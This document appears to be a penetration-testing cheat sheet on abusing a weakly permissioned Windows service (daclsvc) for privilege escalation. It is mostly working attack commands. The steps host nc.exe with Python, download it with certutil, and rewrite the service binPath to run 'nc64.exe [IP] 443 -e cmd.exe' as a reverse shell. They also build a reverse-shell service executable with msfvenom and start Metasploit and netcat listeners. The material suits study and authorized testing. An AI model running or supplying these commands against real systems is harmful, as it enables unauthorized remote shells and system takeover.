EXPLOITING INSECURE SERVICE WITH NETCAT¶
-
Host the nc binary Using Python:
python3 -m http.server 8000
NOTE: Kali has a builtin copy of nc.exe located in the /usr/share/windows-resources/binaries/ directory.
-
Transfer the script to the target machine using certutil:
certutil -urlcache -f http://[IP-ADRESS]:8000/nc64.exe nc64.exe
-
To exploit a service, place nc.exe in the C:\temp folder and modify the service binpath with this command:
sc config daclsvc binPath= "C:\temp\nc64.exe [IP-ADRESS] 443 -e C:\windows\system32\cmd.exe"
-
Now, all we have to do is set up a netcat listener on our attacker machine on port 443 and then start the service.
sc start daclsvc
EXPLOITING INSECURE SERVICE WITH METASPLOIT¶
-
Alternatively, we can use msfvenom to create a reverse shell payload
msfvenom -p windows/x64/shell_reverse_tcp LHOST=[IP-ADRESS] LPORT=[PORT] -f exe-service -o reverse.exe
NOTE: After creating the reverse shell payload, transfer it to the target machine.
-
Start your listener on the attacking machine
msfconsole -q -x "use multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set LHOST tun0; set LPORT [PORT]; run"
-
Alternatively, we can start a listener using nc:
sudo rlwrap -cAr nc -lvnp 1338
-
Now, all we have to do is Modify the Service Binary Path and start the service.
sc config daclsvc binPath= "C:\temp\reverse.exe"
,sc stop daclsvc
,sc start daclsvc
ornet start daclsvc